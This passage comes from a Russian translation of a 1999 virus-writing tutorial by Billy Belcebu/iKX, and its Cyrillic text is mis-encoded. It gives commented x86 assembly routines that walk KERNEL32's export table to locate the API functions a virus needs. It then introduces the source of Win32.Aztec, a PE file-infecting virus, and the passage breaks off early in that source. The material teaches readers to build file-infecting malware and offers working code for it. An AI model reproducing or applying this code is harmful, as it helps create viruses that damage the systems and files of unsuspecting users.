ищет все необходимые вирусу функции. GetAPI proc ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╦адно, поехали. ╧араметры, которые требу тся функции и возвращаемые ; ; значения следу щие: ; ; ; ; ═└ ┬╒╬─┼ . ESI : ╙казатель на имя функции (чувствительна к регистру) ; ; ═└ ┬█╒╬─┼ . EAX : └дрес функции API ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; mov edx,esi ; ╤охраняем указатель на им я @_1: cmp byte ptr [esi],0 ; ╩онец строки? jz @_2 ; ─а, все в порядке. inc esi ; ═ет, продолжаем поиск jmp @_1 @_2: inc esi ; хех, не забудьте об этом sub esi,edx ; ESI = размер имени функци и mov ecx,esi ; ECX = ESI :) ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╥ак-так-так, мои дорогие ученики. ▌то очень просто для понимания. ╙ нас ; ; есть указатель на начало имени функции API. ─авайте представим, что мы ; ; ищем FindFirstFileA: ; ; ; ; FFFA db "FindFirstFileA",0 ; ; L- указатель здесь ; ; ; ; ╚ нам нужно сохранить этот указатель, чтобы узнать имя функции API, ; ; поэтому мы сохраняем изначальный указатель на имя функции API в регистре,; ; например EDX, который мы не будем использовать, а затем повышаем значение; ; указателя в ESI, пока [ESI] не станет равным 0. ; ; ; ; FFFA db "FindFirstFileA",0 ; ; L- ╙казатель теперь здеcь ; ; ; ; ╥еперь, вычитая старый указатель от нового указателя, мы получаем размер ; ; имени API-функции, который требуется поисковому движку. ╟атем я сохраня  ; ; значение в ECX, другом регистре, который не будет использоваться для ; ; чего-либо еще. ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; xor eax,eax ; EAX = 0 mov word ptr [ebp+Counter],ax ; ╙станавливаем счетчик в & #48; mov esi,[ebp+kernel] ; ╧олучаем смещение ; PE-заголовка KERNEL32 add esi,3Ch lodsw ; в AX add eax,[ebp+kernel] ; ═ормализуем его mov esi,[eax+78h] ; ╧олучаем RVA таблицы ; экспортов add esi,[ebp+kernel] ; ╙казатель на RVA таблицы ; адресов add esi,1Ch ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╦адно, сначала мы очищаем EAX, а затем устанавливаем счетчик в 0, чтобы ; ; избежать возможных ошибок. ┼сли вы помните, для чего служит смещение 3Ch ; ; в PE-файле (отсчитывая с образа базы, метки MZ), вы поймете все это. ╠ы ; ; запрашиваем начало смещение начала PE-заголовка KERNEL32. ╥ак как это ; ; RVA, мы нормализуем его и вуаля, у нас есть смещение PE-заголовка. ╥еперь; ; мы получаем адрес таблицы экспортов (в заголовке PE+78h), после чего мы ; ; избегаем нежеланных данных структуры и напряму получаем RVA таблицы ; ; адресов. ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; lodsd ; EAX = RVA таблицы адресов add eax,[ebp+kernel] ; ═ормализуем mov dword ptr [ebp+AddressTableVA],eax ; ╤охраняем его в форме VA lodsd ; EAX = Name Ptrz Table RVA add eax,[ebp+kernel] ; Normalize push eax ; mov [ebp+NameTableVA],ea& #120; lodsd ; EAX = Ordinal Table RVA add eax,[ebp+kernel] ; Normalize mov dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form pop esi ; ESI = Name Ptrz Table VA ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ┼сли вы помните, у нас в ESI указатель на RVA таблицу адресов, поэтому ; ; чтобы получить этот адрес мы делаем LODSD, который помещает DWORD, на ; ; который указывает ESI, в приемник (в данном случае EAX). ╥ак как это был ; ; RVA, мы нормализуем его. ; ; ; ; ─авайте посмотрим, что говорит ╠этт ╧итрек о первом поле: ; ; ; ; "▌то поле является RVA и указывает на массив адресов функций, каждый ; ; элемент которого является RVA одной из экспортируемых функций в данном ; ; модуле." ; ; ; ; ╚ наконец, мы сохраняем его в соответству щей переменной. ─алее мы ; ; должны узнать адрес таблицы указателей на имена. ╠этт ╧итрек объясняет ; ; это следу щим образом: ; ; ; ; "▌то поле - RVA и указывает на массив указателей на строки. ╤троки ; ; явля тся именами экспортируемых данным модулем функций". ; ; ; ; ═о я не сохраня  его в переменной, а помеща  в стек, так как использу  ; ; его очень скоро. ╬к, наконец мы переходим к таблице ординалов, вот что ; ; говорит об этом ╠этт ╧итрек: ; ; ; ; "▌то поле - RVA и оно указывает на массив WORDов. WORD'ы явля тся ; ; ординалами всех экспортируемых функций в данном модуле". ; ; ; ; ╬к, это то, что мы сделали. ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; @_3: push esi ; Save ESI for l8r restore lodsd ; Get value ptr ESI in EAX add eax,[ebp+kernel] ; Normalize mov esi,eax ; ESI = VA of API name mov edi,edx ; EDI = ptr to wanted API push ecx ; ECX = API size cld ; Clear direction flag rep cmpsb ; Compare both API names pop ecx ; Restore ECX jz @_4 ; Jump if APIs are 10 8;% equal pop esi ; Restore ESI add esi,4 ; And get next value of arr ay inc word ptr [ebp+Counter] ; Increase counter jmp @_3 ; Loop again ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╒ех, это не в моем стиле помещать слишком много кода без комментариев, ; ; как я поступил только что, но этот блок кода нельзя разделить без ущерба ; ; для его объяснения. ╤начала мы помещаем ESI в стек (который будет ; ; изменен инструкцией CMPSB) для последу щего восстановления. ╧осле этого ; ; мы получаем DWORD, на который указывает ESI (таблица указателей на ; ; имена) в приемник (EAX). ┬се это выполняется с помощь  инструкции LODSD. ; ; ╠ы нормализуем ее, добавляя адрес базы ядра. ╒орошо, теперь у нас в EAX ; ; находится указатель на имя одной из функций API, но мы еще не знаем, что ; ; это за функция. ═апример EAX может указывать на что-нибудь вроде ; ; "CreateProcessA" и это функция для нашего вируса неинтересна... ╦адно , ; ; для сравния строки с той, которая нам нужна (на нее указывает EDX), у ; ; нас есть CMPSB. ╧оэтому мы подготавливаем ее параметры: в ESI мы ; ; помещаем указатель на начало сравниваемого имени функции, а в EDI - ; ; нужно нам имя. ┬ ECX мы помещаем ее размер, а затем выполняем побайтовое ; ; сравнение. ┼сли обе строки совпада т друг с другом, устанавливается ; ; флаг нуля и мы переходим к процедуры получения адреса этой API-функции. ; ; ┬ противном случае мы восстанавливаем ESI и добавляем к нему размер ; ; DWORD, чтобы получить следу щее значение в таблице указателей на имена. ; ; ╠ы повышаем значение счетчика (╬╫┼═▄ ┬└╞═╬) и продолжаем поиск. ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; @_4: pop esi ; Avoid shit in stack movzx eax,word ptr [ebp+Counter] ; Get in AX the counte r shl eax,1 ; EAX = AX * 2 add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize xor esi,esi ; Clear ESI xchg eax,esi ; EAX = 0, ESI = p tr to Ord lodsw ; Get Ordinal in AX shl eax,2 ; EAX = AX * 4 add eax,dword ptr [ebp+AddressTableVA] ; Normalize mov esi,eax ; ESI = ptr to Address RVA lodsd ; EAX = Address RVA add eax,[ebp+kernel] ; Normalize and all is done . ret ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╧ффф, еще один огромный блок кода и, похоже, не очень понятный, так ; ; ведь? ═е беспокойтесь, я прокомментиру  его ;). ; ; Pop служит для очищения стека. ╟атем мы двигаем в нижн   часть EAX ; ; значение счетчика (так как это WORD) и обнуляет верхн   вышеупомянутого ; ; регистра. ╠ы умножаем его на два, так как массив, в котором мы будем ; ; проводить поиск состоит из WORD'ов. ╥еперь мы добавляем к нему указатель ; ; на начало массива, где мы хотим искать. ╧оэтому мы помещаем EAX в ESI, ; ; чтобы использовать этот указатель для получения значения, на которое он ; ; указывает, с помощь  просто LODSW. ╒ех, теперь у нас есть ординал, но то,; ; что мы хотим получить - это точка входа в код функции API, поэтому мы ; ; умножаем ординал (который содержит позици  точки входа желаемой функции) ; ; на 4 (это размер DWORD), и у нас теперь есть значение RVA относительно ; ; RVA таблицы адресов, поэтому мы производим нормализаци , а теперь в EAX ; ; у нас находится указатель на значение точки входа функции API в таблице ; ; адреосв. ╠ы помещаем EAX в ESO и получаем значение, на которое указывает ; ; EAX. ╥аким образом в этом регистре находится RVA точки входа требуемой ; ; API-функции. ╒ех, сейчас мы должны нормализовать этот адрес относительно ; ; базы образа KERNEL32 и вуаля - все сделано, у нас в EAX есть настоящий ; ; реальный адрес функции! ;) ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; GetAPI endp ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; GetAPIs proc ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╬к, это код для получения всех API-функций. ╙ данной функции следу щие ; ; параметры: ; ; ; ; INPUT . ESI : ╙казатель на имя первой желаемой API-функции в формате ; ; ASCIIz ; ; . EDI : ╙казатель на переменну , которая содержит перву  желаему  ; ; API-функци  ; ; OUTPUT . ═ичего ; ; ; ; ─ля получения всех этих значений я буду использовать следу щу  структуру:; ; ; ; ESI указывает на --. db "FindFirstFileA",0 ; ; db "FindNextFileA",0 ; ; db "CloseHandle",0 ; ; [...] ; ; db 0BBh ; ╬тмечает конец массива ; ; ; ; EDI указывает на --. dd 00000000h ; ┴ удущий адрес FFFA ; ; dd 00000000h ; ┴ удущий адрес FNFA ; ; dd 00000000h ; ┴ удущий адрес CH ; ; [...] ; ; ; ; ▀ наде сь, что вы достаточно умны и поняли, о чем я говор . ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; @@1: push esi push edi call GetAPI pop edi pop esi stosd ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╠ы помещаем обрабатываемые значения в стек, чтобы избежать их возможного ; ; изменения, а затем вызываем процедуру GetAPI. ╟десь мы предполагаем, что ; ; ESI указывает на имя требуемой API-функции, а EDI - это указатель на ; ; переменну , которая будет содержать имя API-функции. ╥ак как мы получаем ; ; смещение API-функции в EAX, мы сохраняем его значение в соответству щей ; ; переменной, на котору  указывае EDI с помощь  STOSD. ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; @@2: cmp byte ptr [esi],0 jz @@3 inc esi jmp @@2 @@3: cmp byte ptr [esi+1],0BBh jz @@4 inc esi jmp @@1 @@4: ret GetAPIs endp ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ▀ зна , это можно было сделать гораздо более оптимизированно, но вполне ; ; годиться в качестве примена. ╦адно, сначала мы доходим до конца строки, ; ; чей адрес мы запрашивали ранее, и теперь она указывает на следу щу  ; ; API-функци . ═о нам нужно узнать, где находится последняя из них, ; ; поэтому мы проверяем, не найден ли байт 0BBh (наша метка конца массива). ; ; ┼сли это так, мы получили все необходимые API-функции, а если нет, ; ; продолжаем поиск. ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ;---[ CUT HERE ]------------------------------------------------------------- 0;/PRE></CODE> <P>╒ех, я сделал эти процедуру как можно проще и хорошенько их откомментировал, поэтому я ожида , что вы поняли суть. ┼сли нет, то это не мои проблемы... ═о теперь появляется вопрос, какие функции нам следует искать? ═иже я приведу исходный код рантаймового (времени выполнения) вируса, который использует технику файлового мэппинга (более простой и быстрый путь манипуляций и заражения файлов). <P><STRONG>╧ример вируса</STRONG> <P>═е думайте, что я сумасшедший. ▀ помещу здесь код вируса для то го, чтобы избежать последовательного описания всех этих API-функций, а продемонстировать их в действии :). ▌тот вирус - одно из моих последних созданий. ╠не потребовался один день, чтобы его закончить: он основывается на Win95.Iced Earth, но без багов и специальных функций. ═аслаждайтесь Win32.Aztec! (─а, Win32!!!). <P><CODE><PRE>;---[ CUT HERE ]-------------------- ----------------------------------------- ; [Win32.Aztec v1.01] - Bugfixed lite version of Iced Earth ; Copyright (c) 1999 by Billy Belcebu/iKX ; ; ╚мя вируса : Aztec v1.01 ; └втор вируса : Billy Belcebu/iKX ; ╧роисхождение : ╚спания ; ╧латформа : Win32 ; ╠ишень : PE files ; ╩омпилирование: TASM 5.0 и TLINK 5.0 ; tasm32 /ml /m3 aztec,,; ; tlink32 /Tpe /aa /c /v aztec,aztec,,import32.lib, ; pewrsec aztec.exe ; ╧римечание : ═ичего особенного в этот раз. ╧росто пофиксены баги вируса ; Iced Earth и убраны особые возможносте. ▌то действительно ; вирус для обучения. ; ╧очему Aztec? : ╧очему вирус называется именно так? ╠ного причин: ; • ╨аз уж есть вирус Inca и вирус Maya... ;) ; • ▀ жил в ╠ексике шесть месяцев ; • ▀ ненавижу фашистские методы, которые использовал ╩ортес ; • для того, чтобы отбирать территории у ацтеков ; • ╠не нравится их мифология ;) ; • ╠оя отстойная звуковая карта называется Aztec :) ; • ▀ л бл  Salma Hayek! :)~ ; • KidChaos - это друг :) ; ╧оздравления : ╒орошо, в этот раз подздравления только л дям из EZLN и ; MRTA. ; ; (c) 1999 Billy Belcebu/iKX .386p ; требуется 386+ =) .model flat ; 32-х битные регистры без ; сегментов jumps ; ╫тобы избежать переходов за ; пределы границы extrn MessageBoxA:PROC ; ╚мпортировано